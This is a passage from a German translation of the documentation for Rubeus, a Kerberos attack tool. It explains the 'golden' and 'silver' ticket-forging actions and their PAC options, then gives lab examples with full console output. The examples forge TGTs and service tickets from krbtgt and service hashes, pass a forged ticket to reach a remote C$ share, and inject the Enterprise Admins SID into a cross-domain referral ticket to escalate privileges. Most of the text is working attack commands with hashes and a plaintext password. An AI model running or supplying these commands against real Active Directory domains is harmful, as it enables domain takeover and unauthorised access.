| /passlastset | Setzt das PasswordLastSet-Feld im PAC. Im lokalen Zeitformat – wird automatisch in UTC umgewandelt |
| /minpassage | Setzt das PasswordCanChange-Feld im PAC. Dies ist relativ zu PasswordLastSet, in Tagen, also '5' für 5 Tage |
| /maxpassage | Setzt das PasswordMustChange-Feld im PAC. Dies ist relativ zu PasswordLastSet, in Tagen, also '5' für 5 Tage |
| /sids | Kommasepariert. Setzt das ExtraSIDs-Feld im PAC. Es wird auch zur Berechnung des ExtraSIDCount-Felds verwendet |
| /resourcegroupsid | Setzt das ResourceGroupSid-Feld im PAC. Wenn verwendet, ist auch /resourcegroups erforderlich |
| /resourcegroups | Kommasepariert. Setzt das ResourceGroups-Feld im PAC. Es wird auch zur Berechnung des ResourceGroupCount-Felds verwendet. Wenn verwendet, ist auch erforderlich |
Andere Argumente, die beiden Befehlen gemeinsam sind, aber Felder außerhalb des PAC setzen:
Für die in den obigen Tabellen beschriebenen relativen Zeiten ist das Format eine ganze Zahl, die als Multiplikator dient, gefolgt von einem einzelnen Zeichen, das einen Zeitbereich darstellt. Die Bedeutung jedes unterstützten Zeichens ist in der folgenden Tabelle dargestellt (Diese sind groß-/kleinschreibungsabhängig):
| Zeichen | Beschreibung |
|---|---|
| m | Minuten |
| h | Stunden |
| d | Tage |
| M | Monate |
| y | Jahre |
Ein weiteres gemeinsames Merkmal beider Befehle ist der LDAP-Informationsabruf. Sowohl golden als auch silver unterstützen das Abrufen von Informationen über LDAP mithilfe des Flags /ldap. Das Flag /ldap kann mit den Argumenten /creduser und credpassword verwendet werden, um sich beim Abrufen dieser Informationen als alternativer Benutzer zu authentifizieren. Die Informationen werden durch Senden von 3 LDAP-Abfragen und Einhängen der SYSVOL-Freigabe eines Domänencontrollers (zum Lesen der Domänenrichtliniendatei) abgerufen, falls keine anderen Informationen übergeben werden. LDAP-Abfragen werden automatisch über TLS gesendet und fallen bei Fehlschlag auf unverschlüsseltes LDAP zurück.
Die erste LDAP-Abfrage, die immer gesendet wird, wenn ldap übergeben wird, fragt nach dem in /user angegebenen Benutzer und ruft die meisten Benutzerinformationen ab, die für den PAC erforderlich sind.
Die zweite LDAP-Abfrage wird gesendet, wenn /groups, /pgid, /minpassage ODER /maxpassage nicht in der Befehlszeile angegeben sind. Jedes dieser in der Befehlszeile angegebenen Argumente verhindert die Abfrage von LDAP nach diesen Informationen. Diese Abfrage ruft die Gruppen ab, deren Mitglied der Benutzer ist, einschließlich der primären Gruppe, zusammen mit dem Domänenrichtlinienobjekt (das verwendet wird, um den Pfad zur Richtliniendatei zu erhalten). Wenn /minpassage oder /maxpassage nicht in der Befehlszeile angegeben sind und das Domänenrichtlinienobjekt von LDAP abgerufen wird, wird die SYSVOL-Freigabe eines DCs eingehängt und die Richtliniendatei analysiert, um die Werte für MinimumPasswordAge (zum Festlegen des richtigen Werts für das PasswordCanChange-Feld im PAC) und MaximumPasswordAge (zum Festlegen des richtigen Werts für das PasswordMustChange-Feld im PAC) zu erhalten.
Schließlich wird, wenn das Argument /netbios nicht in der Befehlszeile angegeben ist, eine LDAP-Abfrage nach dem korrekten NetBIOS-Namen der Domäne aus dem Configuration-Container durchgeführt, um das LogonDomainName-Feld im PAC zu setzen. Wenn das Flag /ldap nicht in der Befehlszeile angegeben ist und auch das Argument /netbios nicht angegeben ist, wird das erste Element (vor dem ersten Punkt '.') in Großbuchstaben gesetzt und stattdessen verwendet.
Das Flag /printcmd kann verwendet werden, um die Argumente auszugeben, die zum Generieren eines weiteren Tickets mit denselben PAC-Informationen wie das aktuelle Ticket erforderlich sind. Dabei werden keine Argumente im Zusammenhang mit der Gültigkeitsdauer des Tickets ausgegeben, da diese für zukünftige Tickets, die Sie fälschen möchten, wahrscheinlich unterschiedlich sein müssen.
Die Aktion golden fälscht ein TGT für den Benutzer /user:X, indem das Ticket mit dem über /des:X, /rc4:X, /aes128:X oder /aes256:X übergebenen Hash verschlüsselt wird, und verwendet denselben Schlüssel, um die ServerChecksum und KDCChecksum zu erstellen. Die verschiedenen Argumente zum manuellen Setzen von Feldern sind oben beschrieben, oder das Flag /ldap kann verwendet werden, um die Informationen automatisch vom Domänencontroller abzurufen.
Der Schalter /oldpac kann verwendet werden, um die neuen Requestor- und Attributes-PAC_INFO_BUFFERs auszuschließen, die als Reaktion auf CVE-2021-42287 hinzugefügt wurden.
Der Schalter /extendedupndns schließt die neuen erweiterten UpnDns-Elemente ein. Dies beinhaltet das Hinzufügen von 2 zu den Flags sowie das Enthalten des samaccountname und der Konto-SID.
Der Parameter /rodcNumber:x wurde hinzugefügt, um Kerberos-Key List Requests durchzuführen. Der Wert dieses Parameters ist die Nummer, die nach krbtgt_x im msDS-KrbTgtLink-Attribut des schreibgeschützten Domänencontrollers angegeben ist, z. B. krbtgt_12345 wäre 12345. Diese Anforderung erfordert bestimmte Flags, die mit /flags:forwardable,renewable,enc_pa_rep gesetzt werden können. Der zum Verschlüsseln verwendete Schlüssel (/des:X, /rc4:X, /aes128:X oder /aes256:X) ist der Schlüssel des KRBTGT_x-Kontos. Weitere Informationen finden Sie in Elad Shamirs Blogbeitrag hier,
Fälschen eines TGT mit dem Flag /ldap zum Abrufen der Informationen und dem Flag /printcmd zum Ausgeben eines Befehls zum Fälschen eines weiteren Tickets mit denselben PAC-Informationen:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:12:40
[*] StartTime : 29/07/2021 00:12:40
[*] EndTime : 29/07/2021 10:12:40
[*] RenewTill : 05/08/2021 00:12:40
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Printing a command to recreate a ticket containing the information used within this ticket
C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
Fälschen eines TGT mit expliziter Angabe aller Werte in der Befehlszeile:
C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:18:19
[*] StartTime : 29/07/2021 00:18:19
[*] EndTime : 29/07/2021 10:18:19
[*] RenewTill : 05/08/2021 00:18:19
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
Fälschen von 5 TGTs, die an verschiedenen Tagen beginnen, mit einem Intervall von 1 Tag zwischen den Startzeiten, wobei das erste jetzt beginnt, und Verwendung von LDAP zum Abrufen der PAC-Informationen:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /rangeend:5d /rangeinterval:1d
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:22:38
[*] StartTime : 29/07/2021 00:22:38
[*] EndTime : 29/07/2021 10:22:38
[*] RenewTill : 05/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 30/07/2021 00:22:38
[*] StartTime : 30/07/2021 00:22:38
[*] EndTime : 30/07/2021 10:22:38
[*] RenewTill : 06/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 31/07/2021 00:22:38
[*] StartTime : 31/07/2021 00:22:38
[*] EndTime : 31/07/2021 10:22:38
[*] RenewTill : 07/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 01/08/2021 00:22:38
[*] StartTime : 01/08/2021 00:22:38
[*] EndTime : 01/08/2021 10:22:38
[*] RenewTill : 08/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 02/08/2021 00:22:38
[*] StartTime : 02/08/2021 00:22:38
[*] EndTime : 02/08/2021 10:22:38
[*] RenewTill : 09/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
Die Aktion silver fälscht ein Ticket für den Benutzer /user:X und den Dienst /service:SPN, indem das Ticket mit dem über /des:X, /rc4:X, /aes128:X oder /aes256:X übergebenen Hash verschlüsselt wird, und verwendet denselben Schlüssel, um die ServerChecksum zu erstellen. Wenn das Argument /krbkey:X übergeben wird, wird dieses verwendet, um die KDCChecksum und TicketChecksum zu erstellen (wenn der Dienst nicht krbtgt/domain.com ist oder domain.com sich vom Realm unterscheidet, der im Ticket verwendet wird, d. h. es sich um ein Verweis-Ticket handelt), andernfalls wird derselbe Schlüssel wie zum Verschlüsseln des Tickets verwendet. Wenn krbenctype:X nicht übergeben wird, wird für die KDCChecksum und TicketChecksum derselbe Verschlüsselungstyp wie für den Dienstschlüssel angenommen.
Die Argumente /cname:X und /crealm:X können verwendet werden, um unterschiedliche Werte für diese Felder im EncTicketPart (verschlüsselter Teil des Tickets) zu setzen; dies wird manchmal bei Delegierungs-Verweis-Tickets (referral delegation tickets) gesehen. Ein S4UDelegationInfo-PAC-Abschnitt kann durch Übergeben der Argumente /s4uproxytarget:X und /s4utransitedservices:SPN1,SPN2,... hinzugefügt werden; dieser Abschnitt gibt ein endgültiges Ziel für die Delegierung und die Liste der SPNs an, über die die Delegierung erfolgt ist.Das Flag /authdata kann verwendet werden, um dem EncTicketPart einige generische Authorization-Data-Abschnitte hinzuzufügen. Standardmäßig wird dabei ein KERB-LOCAL-Abschnitt und ein KERB-AD-RESTRICTION-ENTRY-Abschnitt mit einigen Standardwerten eingefügt.
Das Flag /nofullpacsig wird die neue FullPacChecksum ausschließen, die eingeführt wurde, um die Sicherheitslücke CVE-2022-37967 zu beheben. Diese Signatur ist standardmäßig in allen Tickets enthalten, die nicht mit dem krbtgt-Schlüssel gesichert sind.
Erstellen eines Service-Tickets für cifs/SQL1.rubeus.ghostpack.local für den Benutzer ccob unter Verwendung des RC4-Passwort-Hashs des Dienstes und Signierung des KDCChecksum und TicketChecksum mit dem entsprechenden KRBTGT AES256-Schlüssel, unter Verwendung von LDAP mit alternativen Anmeldedaten zum Abrufen der PAC-Informationen:
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
The user name or password is incorrect.
C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ldap /creduser:rubeus.ghostpack.local\Administrator /credpassword:Password1 /user:ccob /krbkey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /krbenctype:aes256 /domain:rubeus.ghostpack.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=ccob)'
[*] Retrieving group and domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus,DC=ghostpack,DC=local)(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming rubeus.ghostpack.local is the forest root
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1109
[*] Groups : 512,513
[*] ServiceKey : F74B07EB77CAA52B8D227A113CB649A6
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : cifs
[*] Target : SQL1.rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'ccob' to 'cifs/SQL1.rubeus.ghostpack.local'
[*] AuthTime : 29/07/2021 01:00:23
[*] StartTime : 29/07/2021 01:00:23
[*] EndTime : 29/07/2021 11:00:23
[*] RenewTill : 05/08/2021 01:00:23
[*] base64(ticket.kirbi):
doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
bG9jYWw=
[+] Ticket successfully imported!
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
Volume in drive \\SQL1.rubeus.ghostpack.local\c$ has no label.
Volume Serial Number is 1AD6-20BE
Directory of \\SQL1.rubeus.ghostpack.local\c$
15/09/2018 08:19 <DIR> PerfLogs
20/07/2021 18:17 <DIR> Program Files
20/07/2021 18:17 <DIR> Program Files (x86)
21/07/2021 01:53 <DIR> Rubeus
20/07/2021 21:02 <DIR> temp
20/07/2021 22:31 <DIR> Users
20/07/2021 18:18 <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 124,275,159,040 bytes free
Erstellen eines Referral-TGT für eine vertrauende Domäne unter Verwendung von LDAP zum Abrufen der PAC-Informationen:
C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=exploitph)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1104
[*] Groups : 513
[*] ServiceKey : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Service : krbtgt
[*] Target : dev.rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 02:45:54
[*] StartTime : 29/07/2021 02:45:54
[*] EndTime : 29/07/2021 12:45:54
[*] RenewTill : 05/08/2021 02:45:54
[*] base64(ticket.kirbi):
doIFojCCBZ6gAwIBBaEDAgEWooIEfjCCBHphggR2MIIEcqADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
LmxvY2Fs
Dieses Ticket kann dann verwendet werden, um mit asktgs Service-Tickets in der vertrauenden Domäne anzufordern:
C:\Rubeus>Rubeus.exe asktgs /service:cifs/devdc1.dev.rubeus.ghostpack.local /dc:devdc1.dev.rubeus.ghostpack.local /ticket:doIFojCCBZ6gAwIBBa...(snip)...NrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: devdc1.dev.rubeus.ghostpack.local (192.168.71.85)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/devdc1.dev.rubeus.ghostpack.local'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFrzCCBaugAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
...(snip)...
ZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : cifs/devdc1.dev.rubeus.ghostpack.local
ServiceRealm : DEV.RUBEUS.GHOSTPACK.LOCAL
UserName : exploitph
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 29/07/2021 02:51:05
EndTime : 29/07/2021 12:45:54
RenewTill : 05/08/2021 02:45:54
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : v1Bnp3plKCePeRpg1hrtYkI7bPDk6vw5uoj5MBNSThw=
Erstellen eines Referral-TGT für [email protected] für die übergeordnete Domäne rubeus.ghostpack.local mit Einbeziehung der SID der Enterprise-Admins-Gruppe:
C:\Rubeus>Rubeus.exe silver /user:dev.ccob /ldap /service:krbtgt/rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 /sids:S-1-5-21-3237111427-1607930709-3979055039-519 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] Trying to query LDAP using LDAPS for user information on domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=dev.ccob)'
[*] Retrieving domain policy information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-2065789546-4129202522-221898516-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=dev.rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : DEV.RUBEUS.GHOSTPACK.LOCAL (DEV)
[*] SID : S-1-5-21-2065789546-4129202522-221898516
[*] UserId : 1107
[*] Groups : 513
[*] ExtraSIDs : S-1-5-21-3237111427-1607930709-3979055039-519
[*] ServiceKey : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 03:03:34
[*] StartTime : 29/07/2021 03:03:34
[*] EndTime : 29/07/2021 13:03:34
[*] RenewTill : 05/08/2021 03:03:34
[*] base64(ticket.kirbi):
doIF0TCCBc2gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
...(snip)...
G9zdHBhY2subG9jYWw=
Dieses Referral-TGT kann dann verwendet werden, um mit dem Befehl asktgs Service-Tickets für Dienste in rubeus.ghostpack.local anzufordern und die Berechtigungen der Enterprise-Admins-Gruppe zu erlangen:
C:\Rubeus>Rubeus.exe asktgs /service:cifs/pdc1.rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /ptt /ticket:doIF0TCCBc2gAwIBBaE...(snip)...cy5naG9zdHBhY2subG9jYWw=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: pdc1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/pdc1.rubeus.ghostpack.local'
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):
